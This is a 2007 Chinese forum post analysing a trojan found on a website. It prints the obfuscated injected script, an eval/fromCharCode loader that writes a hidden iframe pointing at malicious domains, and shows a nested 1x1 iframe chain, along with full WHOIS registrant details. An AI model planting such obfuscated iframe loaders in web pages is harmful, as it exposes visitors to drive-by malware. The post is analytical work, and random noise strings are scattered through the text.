社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5337阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, =,0E3:X^  
BB|{VwN  
http://www.areway.cn/?p=175 m?M(79u[  
3'.OghI  
01w=;Q  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码:  |u$AzI  
          }]n&"=Zk-  
<script>t=’60,105,102,114,97,109,101, uF^+}Y ZT  
32,115,114,99,61,104,116,116,112,58,47,47, a)Wf* <B  
102,114,101,101,46,117,45,117,117,117,46,99, 2r* o  
110,47,101,114,114,111,114,46,104,116,109, Pq_Il9  
32,119,105,100,116,104,61,49,48,48,32,104, kYR&t}jlCg  
101,105,103,104,116,61,48,62,60,47,105,102, 4&$G;?#W2  
114,97,109,101,62′; "3hw]`a}  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> #lB[]2]N  
                                                                                                  ?>AhC{  
<script>t=’60,105,102,114,97,109,101,32,115, Gwvs~jN  
114,99,61,104,116,116,112,58,47,47,102,114, WV&BZ:H  
101,101,46,117,45,117,117,117,46,99,110,47, hU4~`g p  
101,114,114,111,114,46,104,116,109,32,119, s]2k@3|e  
105,100,116,104,61,49,48,48,32,104,101,105, atN`w=6A`  
103,104,116,61,48,62,60,47,105,102,114,97, -)$)<k  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); :))AZ7_  
document.write(t);</script> h1Q7(8=Eg  
                                                                                                  zD?$O7 |ZK  
<html xmlns=” Xbu >8d?n  
http://www.w3.org/1999/xhtml s!+?) bB  
“> tSO F7N/<  
<head> I &m~ cBj<  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> mS );bs  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 0` S!+d  
<title>首页 - 爱生活家庭网 p@Qzg /X  
                                                                                                                                                    <4! w2vxG  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Y@r#:BH )  
转换字符串后的大概内容是(谁点击后果自付): m|-O/6~  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… {Qhv HV  
                                                                                                                                  V K NCK  
查询玉米u-uuu.cn的详细信息: Lv_6Mf(  
Domain Name: u-uuu.cn :#gz)r  
ROID: 20070901s10001s64972306-cn RL&*.r&  
Domain Status: ok @lj  
Registrant Organization: 王雷 J%[K;WjrZJ  
Registrant Name: 王雷 Z4(2&t^  
Administrative Email: czlovexs@126.com P!vBS "S  
Sponsoring Registrar: 北京万网志成科技有限公司 2>H\arEstR  
Name Server:ns.yovole.com pw$I~3OFd  
Name Server:ns1.yovole.com hwXp=not(  
Registration Date: 2007-09-01 17:54 {2q   
Expiration Date: 2008-09-01 17:54 "@f`O  
最后PING了一下地址 都没有什么…. oF*Y$OEu?c  
                                                                                                2R5]UR S  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 0<s)xaN>Y  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> c{852R  
<script language=”javascript” src=” a;h:o>Do5  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Us%VB q  
> pa\]@;P1  
这个玉米应该有可能是木马作者的: dIf Jr}ih  
foafau.info的详细信息: - jyD!(  
Access to INFO WHOIS information is provided to assist persons in ZPMEN,Dw  
determining the contents of a domain name registration record in the t7~mW$}O  
Afilias registry database. The data in this record is provided by Q2NS>[  
Afilias Limited for informational purposes only, and Afilias does not qQom=x  
guarantee its accuracy.  This service is intended only for query-based p,4z;.s$  
access. You agree that you will use this data only for lawful purposes |Jq/kmn  
and that, under no circumstances will you use this data to: (a) allow, Dnp^yqz*  
enable, or otherwise support the transmission by e-mail, telephone, or &R8zuD`#  
facsimile of mass unsolicited, commercial advertising or solicitations C2b.([HE  
to entities other than the data recipient’s own existing customers; or Z os~1N]3  
(b) enable high volume, automated, electronic processes that send -,i1T(p1  
queries or data to the systems of Registry Operator, a Registrar, or ("TI~  
Afilias except as reasonably necessary to register domain names or mj,r@@k:=+  
modify existing registrations. All rights reserved. Afilias reserves hm5<_(F!  
the right to modify these terms at any time. By submitting this query, JZ<O-G+  
you agree to abide by this policy. :J<S-d=  
Domain ID:D22418703-LRMS -meKaQv  
Domain Name:FOAFAU.INFO [lnN~#(Y  
Created On:20-Nov-2007 16:05:42 UTC x7*}4>|W,I  
Last Updated On:20-Nov-2007 16:05:44 UTC 59ivL6=3  
Expiration Date:20-Nov-2008 16:05:42 UTC F0|T%!FB>%  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) Y Jv{Z^;M  
Status:CLIENT DELETE PROHIBITED 1XZ&X]  
Status:CLIENT RENEW PROHIBITED B02~/9*Y"  
Status:CLIENT TRANSFER PROHIBITED pG4Hy$e  
Status:CLIENT UPDATE PROHIBITED .O,gl$y}  
Status:TRANSFER PROHIBITED t=pG6U  
Registrant ID:GODA-040110615 a{8GT2h`4  
Registrant Name:liu hong *;}!WDr  
Registrant Organization: OI-%Ig%C#l  
Registrant Street1:beijing `hfwZ*s  
Registrant Street2: ?Cu$qE!h)[  
Registrant Street3: x##Iv|$  
Registrant City:beijing z* `81  
Registrant State/Province: 8+!$k!=X  
Registrant Postal Code:100000 \ 0CGS  
Registrant Country:CN \twlHj4  
Registrant Phone:+86.860108888777 MKH7d/x  
Registrant Phone Ext.: N@)g3mX>  
Registrant FAX: F{}z[0  
Registrant FAX Ext.: Z c"]Cv(  
Registrant Email:bbbshiji@163.com i&l$G55F  
Admin ID:GODA-240110615 :4 ;>).  
Admin Name:liu hong c"QI`;D_c  
Admin Organization: zxj!ihs<  
Admin Street1:beijing =B/^c>w2  
Admin Street2: m\VJ=  
Admin Street3: %%f=aPw  
Admin City:beijing bc 0|tJc  
Admin State/Province: B8P%4@T  
Admin Postal Code:100000 O ,DX%wk,  
Admin Country:CN M 35}5+  
Admin Phone:+86.860108888777 8C YJR/  
Admin Phone Ext.: vCi:c Ip/  
Admin FAX: Q;Oc# u  
Admin FAX Ext.: K@d`jb4T  
Admin Email:bbbshiji@163.com YV2^eGr.  
Billing ID:GODA-340110615 NyGF57v[M  
Billing Name:liu hong m4%m0"Z  
Billing Organization: D_8hn3FH  
Billing Street1:beijing nbYaYL?&  
Billing Street2: u!X 2ju<  
Billing Street3: Mr&]RTEE  
Billing City:beijing P]y5E9 k  
Billing State/Province: FTB"C[>  
Billing Postal Code:100000 :b ;5O3:B  
Billing Country:CN !X,S2-}"  
Billing Phone:+86.860108888777 !KF;Z|_(I  
Billing Phone Ext.: uIba{9tM"P  
Billing FAX: Ea3tF0{  
Billing FAX Ext.: me9RnPe:  
Billing Email:bbbshiji@163.com k20H|@g2  
Tech ID:GODA-140110615 w68qyG|wM  
Tech Name:liu hong t?{ B*  
Tech Organization: 8cd,SQ}y  
Tech Street1:beijing |W::\yu6  
Tech Street2: / )EB~|4']  
Tech Street3: "5e]-u'  
Tech City:beijing 0(..]\p^d  
Tech State/Province: jrW7AT)\  
Tech Postal Code:100000 [F>zM  
Tech Country:CN 4$;fj1!Z:  
Tech Phone:+86.860108888777 L Y M`  
Tech Phone Ext.: n^A=ar.  
Tech FAX: .3Ap+V8?  
Tech FAX Ext.: nd?m+C&W  
Tech Email:bbbshiji@163.com :_^YEm+A  
Name Server:NS27.DOMAINCONTROL.COM |n~v_V2.0  
Name Server:NS28.DOMAINCONTROL.COM g>Z1ZK0;M  
Name Server: %W c-.E R  
Name Server: !]`]67lC  
Name Server: LQS*/s0  
Name Server: SrKF\h%/+  
Name Server: K}zw%!ex  
Name Server: k{;:KW|  
Name Server: UC0 yrV  
Name Server: M\]E;C'"U  
Name Server: Ky=&C8b<  
Name Server: I/(`<s p  
Name Server: <9Chkb|B  
                                                                                                          7Jqp2\  
接着下载每个文件里面的代码: ]f\rB8k|&  
一步一步看.. ''(T3;^ +  
}Jc^p  
6-^+btl)#  
)Qo6bei!  
x_Z~k  
cEN^H  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五